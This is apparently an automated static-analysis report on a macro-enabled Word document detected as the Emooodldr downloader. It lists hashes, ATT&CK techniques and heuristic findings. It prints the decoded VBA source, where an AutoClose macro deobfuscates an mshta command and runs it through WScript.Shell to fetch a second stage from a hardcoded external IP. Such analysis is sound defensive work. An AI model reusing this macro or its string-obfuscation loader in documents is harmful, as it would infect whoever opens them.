Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 e1b34078b5aab799…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: d5dd018912ab9082c5589de04bac629f SHA-1: 4a4afbe594e40e5bede5a23d633807310e150c31 SHA-256: e1b34078b5aab799cb78e7103286817a740da430fd1f107bfd4a673dce8fa9fc
322 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing obfuscated VBA macros. The AutoClose macro, when executed, reconstructs a URL and uses CreateObject("WScript.Shell").Run to download and execute a second-stage payload from the reconstructed URL: "http://104.144.207.225/LEX/rBRHgAJgDxiDniFIgiCpLqXrCcch.php?uFIgiCpLqXrCcQVnwSPZwPvVIFWLUKukYwQFD=projf". This behavior is consistent with the Emooodldr malware family, which often uses macro-enabled documents to download further malicious content.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2264 bytes
SHA-256: 099a48269447c995c1bbab3c25072f7ae06a63f9daafaeda037618264519d200
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub simultaneo()
 LSjUJuVArvBC = "E" & "Z" & Trim("j") & Trim("O")
gGoQSkZ = Trim("D") & Trim("R") & Trim("S")
jwPcYwgC = 214 + 1483 + 1356 + 200

 botina = "QVnwSPZwPvVIrBRHgAJgDxiDhFIgiCpLqXrCcFWLUKukYwQFD hFIgiCpLqXrCcFIgiCpLqXrCcp://104.144.207.225/LEX/rBRHgAJgDxiDniFIgiCpLqXrCcch.php?uFIgiCpLqXrCcQVnwSPZwPvVIFWLUKukYwQFD=projf"
botina = Replace(botina, "QVnwSPZwPvVI", "m")
botina = Replace(botina, "FWLUKukYwQFD", "a")
rgJpjRZ = 195 + 194
botina = Replace(botina, "rBRHgAJgDxiD", "s")
botina = Replace(botina, "FIgiCpLqXrCc", "t")
botina = Replace(botina, "MvGjPLQIAfIA", "e")
vokICyTpE = 207 + 376 + 1092 + 626 + 1691
botina = Replace(botina, "TjPLnvoGWFiK", "l")

emitir = "WScripVprYfjgpJOic.ShVSCAfNQUxTTbFzNqWTrijQUkFzNqWTrijQUk"
emitir = Replace(emitir, "bDbqgxMfwVyq", "m")
nWoTkUVSYVx = 812 - 1411 - 545 - 1267 - 321
yFuTDjbr = Trim("z") & Trim("T")
RTwkicWiz = 677 + 1912
emitir = Replace(emitir, "oGbuJQqPQqKA", "a")
LASnIqH = Trim("p") & Trim("R") & "d" & "d"
FpREUYwQj = 802 + 1323
emitir = Replace(emitir, "corZVdQOMzZg", "s")
RuGPUQYRzNT = 576 + 485 + 925 + 544
bRnNoMyZRQoc = 707 - 527 - 1533 - 624 - 136 - 1343
emitir = Replace(emitir, "VprYfjgpJOic", "t")
emitir = Replace(emitir, "VSCAfNQUxTTb", "e")
QYixZpMHZYH = 1580 - 1197 - 875 - 513
emitir = Replace(emitir, "FzNqWTrijQUk", "l")


 CreateObject(emitir).Run botina, 0
 nuVJKnbUIQX = Trim("j") & "v" & "B"
zAEqXnNEcw = "R" & "y" & Trim("M")

End Sub

Sub AutoClose()

  LwQXRjnQjNF = 875 - 1338 - 1418 - 699 - 1707
NURQMgpXuLI = 1352 + 1155 + 1315 + 607 + 243 + 1369 + 572
BdZBiFYg = "i" & Trim("Y")
cIPACzY = 1834 + 206
QrZUSnuMco = 664 - 1127 - 1905 - 1303 - 1314
RjMNGTE = 153 - 411 - 1958 - 253 - 696
VoTxCxSwLr = 1268 + 734 + 1621 + 1202 + 1189

  Application.Run "simultaneo"
  BLVBZqcz = Trim("T") & "Q" & Trim("f")
EZVTfiZ = Trim("j") & Trim("x") & "V" & Trim("L")
UfoFWKrxfL = 878 + 1209 + 645 + 1552 + 485 + 1687 + 588

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 49a45b65d11bfca491b79bb279dc767b17f87e0a32ac78eeac62f333a9638f74
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely